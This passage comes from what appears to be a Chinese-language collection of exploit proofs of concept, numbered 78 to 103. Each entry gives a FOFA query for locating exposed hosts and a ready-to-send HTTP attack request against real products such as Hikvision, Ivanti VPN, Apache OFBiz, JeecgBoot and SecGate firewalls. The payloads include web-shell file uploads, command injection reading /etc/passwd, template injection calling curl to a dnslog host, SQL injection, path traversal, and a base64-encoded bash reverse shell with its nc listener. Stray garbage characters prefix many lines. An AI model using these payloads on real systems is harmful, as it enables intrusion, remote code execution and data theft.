. L2 v+ b' N' ^" b" g& BHost: x.x.x.x
! \6 H$ M+ Z) D2 f4 u: L4 SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
% H3 A* }7 I( r- _Connection: close
Content-Length: 433
8 [: @6 G4 h7 K9 C5 ZAccept: */*
6 d* y9 J6 _; \Accept-Encoding: gzip, deflate
% N/ t: O6 ^" H+ Y. MAccept-Language: zh-CN,zh;q=0.9
% Z: V0 A( `4 r$ X+ B9 d" oContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
/ \& u- q  A7 V6 H; J
4 Y5 a& E* _' q0 W0 J------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
8 B' `7 w  p4 ^1 E: C, }
/upload/udplog
2 G! b( B/ A1 m' Z------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
8 |4 U1 l6 W3 [% HContent-Type: application/octet-stream
3 l, j# @' G) v& f8 `; E3 Z
hello1234567
, ?* `5 C- Z" h------------398jnjVTTlDVXHlE7yYnfwBoix
+ F# c& S- o/ b8 BContent-Disposition: form-data; name="Upload"

+ A8 l; j) M) p1 s* G7 qSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--

- g$ j/ [) {- V' V0 Y
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
" \* i' }0 Q" t3 N* S8 WPOST /Platform/System/FileUpload.ashx HTTP/1.1
) a! G  U+ A. N! [8 C0 KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
# \# j3 X8 F" A& q/ D0 RContent-Length: 336
Accept-Encoding: gzip
5 ~: l2 K) |- QContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
/ Y# A; B- r% `, u7 T
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
3 K' p, F% u/ A- E: H% L! M# @------YsOxWxSvj1KyZow1PTsh98fdu6l
- N, u1 Q6 N- K+ tContent-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
) g4 G7 j2 ]+ p& M# @------YsOxWxSvj1KyZow1PTsh98fdu6l--


9 t4 x$ Y, n9 v& DGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
% g( [; ~1 V& T" LHost: x.x.x.x
: ^( z& ?' v+ f1 x* J

79. BYTEVALUE 百为流控路由器远程命令执行
  H  x: ~& \8 s7 cFOFA：BYTEVALUE 智能流控路由器
; N# W9 o  `& k" @9 M/ w% m) KGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
0 |/ u7 n- B; u7 z- OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
: f# ~: h, D( ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 V$ p! ~- M& _8 _3 tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' {* N, T. @6 i% L3 D- o9 E  }Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

3 X% x) M. \* A- {. Z/ S& M0 }
. g' v3 h  D* T( A: t/ P4 u$ K80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
, `" _% z- ^% ^6 NPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
6 j% v+ k- T, Q, P! nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 f, d1 D; a2 c, eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 x3 w) F7 _4 B) Z3 qConnection: close
. ^- C' ~; Z, \* b) {Content-Type: application/octet-stream
% K. s* ]# t# ~; v$ qUpgrade-Insecure-Requests: 1

2 c6 H! f' |' @2 V  S' m1 D8 [<% out.print("oessqeonylzaf");%>
1 C3 x/ f5 n& L) z

  [* w& m2 @# h" P" GGET /xykqmfxpoas.jsp HTTP/1.1
2 j' Q( K; u7 |( lHost: x.x.x.x
4 E2 Q7 Q3 D/ n% ?' e; DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

7 T  L6 r: w  S% u7 C9 g' Y* Z
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
: S- }$ A1 }% z1 I2 |FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
6 @1 }- L8 g3 O2 E0 N, [# DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 s- e; ?% Z7 @- Z6 ^Connection: close
Accept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
1 i8 P" a. b4 v( UPOST /bhost/test_qrcode_b HTTP/1.1
+ ^" J5 b( P) c# ], JHost: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
  s& N/ W9 n; pContent-Type: application/x-www-form-urlencoded
* U/ i( m0 u" k% n& ~4 l0 rReferer: BaseURL

z1=1&z2="|id;"&z3=bhost
  \* i0 Z) |6 Z
- f1 l+ Y) X; v$ O4 ^5 g$ D6 U) e6 B
+ N1 U" h$ w# x) y83. JeecgBoot testConnection 远程命令执行
# P$ D) {8 z9 P0 z6 ^FOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
$ t" y8 h% V3 C' tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 }4 C# j+ l  d1 T0 uConnection: close
Content-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
" S- X8 i/ G$ l9 W/ UContent-Type: application/json

PAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"



1 b8 K) ^# x/ `( m) C- b* @# rPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
/ u8 V3 _, h$ o* h7 Q  `% P1 [Host: 192.168.40.130:8080
0 L6 P0 C1 o& c* VUser-Agent: curl/7.88.1
Content-Length: 156
: w" r/ Q% y5 l9 q# g" C& cAccept: */*
Connection: close
  _( v9 ?2 x2 W9 R3 s0 n+ ]Content-Type: application/json
! X" G( X* h9 j% r) yAccept-Encoding: gzip
% ]( d# l% K$ p7 {% o& N
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
' L1 W5 I( I! a$ X}


85. SysAid On-premise< 23.3.36远程代码执行
# @: L* B! ^" A% m3 ?# kCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD
$ ^, w7 W+ x) V" c" F
回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
( i7 G! P% S+ V0 A5 I+ ?POST /cgi-bin/network_test.php HTTP/1.1
  _( H- ]. }1 v0 ~Host: x.x.x.x
2 K% o0 t  t0 `! K/ F) nUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
5 c" j: R/ ?, }0 ^& uConnection: close
2 }- Z. \9 q# U/ ~Content-Length: 44
9 }* J' _% Z+ L" x! V0 B' J  L' dAccept: */*
Accept-Encoding: gzip
, X: \5 p0 c1 e$ D5 eAccept-Language: en
Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping

. v" j2 F* ?  f# H# C5 J
87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
: A. ]. c4 s( d8 p6 i3 C, kHost: X.X.X.X
! d7 j8 n% X1 u5 ]. D- _: eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
- W; Y3 ]* ~) ~- W% x5 s* fAccept-Encoding: gzip
6 C+ v1 n: K. ^. xContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
+ r8 w5 e  ]7 n0 x3 b
' Y6 u+ r/ n9 Q--qqobiandqgawlxodfiisporjwravxtvd
3 M. }8 d) @, ^3 Z& p! a# y; o' sContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
; O' j6 y0 |- f1 u: aContent-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
$ M, q7 e+ p. P' ?) |- Y% G
" @! ?7 `% g" m4 U2 {% E+ n
/jfhatuwe.php
2 r! Y) z- A- l3 ~( J
1 Q0 n& E4 @& R* g0 r: D# I88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
0 E# C, u5 `8 j5 P; K9 T$ ^& e+ GFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
, V* J. A! t- ]* s/ {; `5 b$ OHost: x.x.x.xx.x.x.x
+ r% `6 l4 S2 \- \0 d# U' ~6 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) M7 W0 U7 ]# r6 X# P: E0 v. bConnection: close


, g, A' u0 l$ i/astdfkhl.php

' S: ^) |9 i9 \2 {. C5 T! y89. 致远互联FE协作办公平台editflow_manager存在sql注入
3 L; x8 W% T$ q( P, Q' xFOFA：title="FE协作办公平台" || body="li_plugins_download"
# u, r9 C4 W" t+ p3 @+ l2 tPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
3 P% i# E  ~/ {: U0 e; h8 F5 A2 tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! |8 \  k! l6 U) o) NConnection: close
$ e# v# y, r8 R$ e, k( _6 JContent-Length: 41
Content-Type: application/x-www-form-urlencoded
7 r/ o6 j# E% F$ T; sAccept-Encoding: gzip

0 ^/ U  ~) G# n0 T6 Q& poption=2&GUID=-1'+union+select+111*222--+


3 G  S+ t6 h- @( {; L90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
) ]( k5 o  P( a- W' I, |! K. nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
; l. b% b) C3 g- }" \( z- c. rAccept: application/json, text/javascript, */*; q=0.01
& \- Q  N+ {: C, c1 {Accept-Encoding: gzip, deflate
1 B6 M9 D9 ~( j$ ^" s$ KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 s/ A. a( o* g) x+ BConnection: close
Content-Type: application/x-www-form-urlencoded
: W7 y4 S- J, u* ]' Z4 LX-Requested-With: XMLHttpRequest
. A+ ~1 G2 r# s3 n5 n( s* @0 X- k+ r
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
6 q7 `( O. [  W0 J. ~& e
- I# H& j( ?) _5 d% ?# q
: C9 l+ G( a) {$ p# Z91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
( M8 f' v0 `# R. s/ ?8 I3 ?Host: your-ip
4 ]2 w4 e5 X6 W- MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
. w4 g& e4 A9 d% Q% ~' eAccept: */*
" v0 ]; `1 E" g% o) I" _Connection: keep-alive
" w: I0 k# h( {; |% V/ X
2 ~( M  `6 c2 W8 E  a% k7 S2 d6 F

92. 海康威视运行管理中心session命令执行
+ n. _* d" Q: FFastjson命令执行
' V2 d( F$ @' h6 c/ p- ?$ Shunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
" J  H- y9 M! H2 BPOST /center/api/session HTTP/1.1
3 ^  |# F  R1 THost:
Accept: application/json, text/plain, */*
2 N7 E# u2 s: e7 l- }Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
8 t/ L$ ~+ h  Q: s$ ]9 ]Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
8 J: a5 n, Y1 b2 b2 ^+ uTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
- `) x6 A) Z7 M
, G6 M5 i( Q" M' IPAYLOAD


4 v0 z: o6 N- Z. j( l) ?" Q93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
0 K/ R* g8 }) z/ wPOST /?g=app_av_import_save HTTP/1.1
1 s# K  y4 G" GHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ K/ V8 v5 Z) {. J8 B
------WebKitFormBoundarykcbkgdfx
+ a: l6 r. h+ O0 `1 N) ~Content-Disposition: form-data; name="MAX_FILE_SIZE"
$ a' A4 j# m0 m5 n  m1 j
( ]2 C* q1 a  a10000000
! k3 v  v& A0 ]' ?8 x------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
& `8 D- r' Q+ z) J
wagletqrkwrddkthtulxsqrphulnknxa
" O) X1 E* j% y  ]$ l------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
- n# i: w& o0 b& Q
9 M7 {' t% G; \% P+ X# ~+ P5 Hobj_app_upfile
+ ^0 h) A5 V* C2 ^2 f: }------WebKitFormBoundarykcbkgdfx
5 W' Q8 i5 q5 p& H4 ~; F8 JContent-Disposition: form-data; name="__hash__"

0 `7 e9 x" f6 G! g* c3 \0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
: K: _2 n7 I4 T5 N" N! mHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  A& o6 E. B3 c, X5 |
& H' K$ q  T  J
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
4 L8 L- ?, B) V- O8 [, L0 B" kFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
, A. o" {2 `9 ^' ]
------WebKitFormBoundarybqvzqvmt
, d0 w5 r, ~0 E- b( q# ]' `; }  V  pContent-Disposition: form-data; name="MAX_FILE_SIZE"
5 b$ X+ w/ {# Y# x7 b5 A8 C: E) X
7 ^, E6 o, x  M! B( u10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
7 i& U  R1 H0 }  e
pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
* F/ s1 B4 e& ^9 p, B8 N
- A  W  x. @) Y- O, o' x0 [obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
; E4 Y6 ?6 ]) e# v6 ?! W
1 l* f: \  k1 c9 g7 ^0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

& ?. f! }" X% v) p

9 U  E) Q2 U% h# LGET /attachements/xlskxknxa.txt HTTP/1.1
1 t6 J) y/ F. Z9 A; B! }. |Host: xx.xx.xx.xx
4 o  A; n: n9 f% s/ qUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



1 u8 [  Y5 p" k. ?5 o) p95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
3 b7 q4 A4 o# [7 @" E( o% W' @CVE-2023-49070
" O, v3 j6 L: a4 KFOFA：app="Apache_OFBiz"
3 w3 \, Z$ |9 hPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
5 f/ k! A, l$ J* Y$ h# t0 [) jUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
" z; r1 q, F& f5 q2 ~  [Connection: close
Content-Length: 889
8 H1 j+ p& |' n( j- [Content-Type: application/xml
  m* ]) i/ D& M6 q+ zAccept-Encoding: gzip

: `6 R: V# t4 j* f* C2 y( y<?xml version="1.0"?>
% A2 O5 i0 {2 F- P, m<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
4 H! q6 m' }& x: _/ P! |& [    <params>
% _, V1 V! m) o' d+ ?2 C      <param>
- N$ N% M3 q0 h+ s" p5 @4 s      <value>
        <struct>
       <member>
9 f4 H1 b- u' [/ U) C5 x          <name>test</name>
          <value>
- P: W* ?2 I- c. O      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
2 d; _) H' E  ]7 U* }" S          </value>
        </member>
      </struct>
6 O5 H+ d9 `# K; T, r      </value>
# {5 B& X2 M1 _" \; x+ m) M    </param>
    </params>
+ l( V' n8 J( M; l8 D% N  o</methodCall>


用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


将生成的payload替换到上面的POC
0 f5 p. h/ o, f$ ^POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
; _% ^5 W9 m2 h3 WAccept-Encoding: gzip

PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
6 H  G( s0 R. ]; DHost: localhost:8443
  G& Z3 L" [; s9 l3 E; hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
" B9 h3 {+ v8 {) l* _: pAccept: */*
$ {0 }5 F' g. O; L* _2 O5 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 O5 D$ q' F8 h! o6 a& fContent-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);

6 H: n" B  M1 s/ ^% C+ e9 G
% E4 E, _& f8 U5 |8 a) C' |) T反弹shell
. c! V4 o4 g& ?- d2 E) D7 K在kali上启动一个监听
nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 Y8 Q8 ^% S' KContent-Type: application/x-www-form-urlencoded
; q& d: \- p8 s) v2 H  `Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
3 u" r2 J2 B7 g# t# H. ]
1 f- [+ c2 v' H- P& p97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
& Z7 i5 k9 G- C5 TFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
- w8 I( D$ Q  }  ^# s7 P9 }$ fHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
5 S' `& I( ~+ K1 o7 lConnection: close
4 |# @' ?" c4 r' OCookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


; m. s( W6 N" P3 s7 @# I0 x- l98. SpiderFlow爬虫平台远程命令执行
0 _2 b( L" m' p3 A# A! q# e9 RCVE-2024-0195
( [* g7 f( `% X, GFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
" w4 B0 C; R% K2 V2 zContent-Length: 121
Accept: */*
  i& Q1 ?" T: W0 C/ z; O+ @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 C$ \+ u5 l3 t# `3 bContent-Type: application/x-www-form-urlencoded; charset=UTF-8
" @+ o8 }% O/ e* b8 E7 T9 ?0 ?- @X-Requested-With: XMLHttpRequest

0 _6 ^! b: t; A' J2 vid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
( b+ G! j# H3 a# ]! N( J

99. Ncast盈可视高清智能录播系统busiFacade RCE
% @1 }+ q, D5 s: |5 hCVE-2024-0305
# S0 v$ X' s/ N1 `! T5 z; jFOFA：app="Ncast-产品" && title=="高清智能录播系统"
. j# c6 T8 }) |/ RPOST /classes/common/busiFacade.php HTTP/1.1
) c+ q9 v. y: t# ^$ J( B$ b  x% xHost: 192.168.40.130:8080
: H6 g- [( L; x. HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
9 o) f2 @$ T9 |Connection: close
Content-Length: 154
, ^. f  S# M9 ZAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 W! i1 A# j  p+ ]$ eContent-Type: application/x-www-form-urlencoded; charset=UTF-8
* w+ s# R  U9 |. Y7 dX-Requested-With: XMLHttpRequest
/ a: T! M: J) U. L3 F" T$ ^
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
/ l; ]6 ^+ |9 a( uCVE-2024-0352
8 J# f5 P9 a, l+ S( ?& e5 tFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
$ R  Z! o) c9 ^# h- W$ n0 yConnection: close
7 O7 b1 a8 l+ ^( W: \& Z. f% QContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
. f- m/ h+ |* {! `# i7 D/ h3 k7 Y% ZAccept-Encoding: gzip

6 b3 Q$ R2 M7 t& S------WebKitFormBoundarygcflwtei
. z# x: ^4 q! l& ?Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

, n( r- `% I5 {7 N( x2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

4 j( O% n. ], u! }5 i2 ]# \8 c
3 h  L* b9 C7 H  J0 y101. ivanti policy secure-22.6命令注入
CVE-2024-21887
% t2 x5 n8 [/ mFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
) E2 [  X7 b+ w1 p' ?7 |7 iHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" T2 S2 e# ?& c3 A/ V, SConnection: close
2 C  `" s& v% R  _* {Accept-Encoding: gzip

. H6 p5 W% F, u2 c* r' k' Q$ Y
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
3 \9 U, H2 T* b8 G8 eConnection: close
Content-Length: 792
2 m" i1 p; A7 {# G9 W/ u+ ~( yAccept-Encoding: gzip
  q% r% n/ K( C2 z, t
, @- \$ ?% [+ D! l9 ~<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
$ _3 E% h2 h6 u  q, i, }. N& R
103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
- E3 ]1 t3 C- G& `$ FPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
" p; u0 q/ c) P; o8 @" _+ kHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
( }" s, \* X( n' AConnection: close
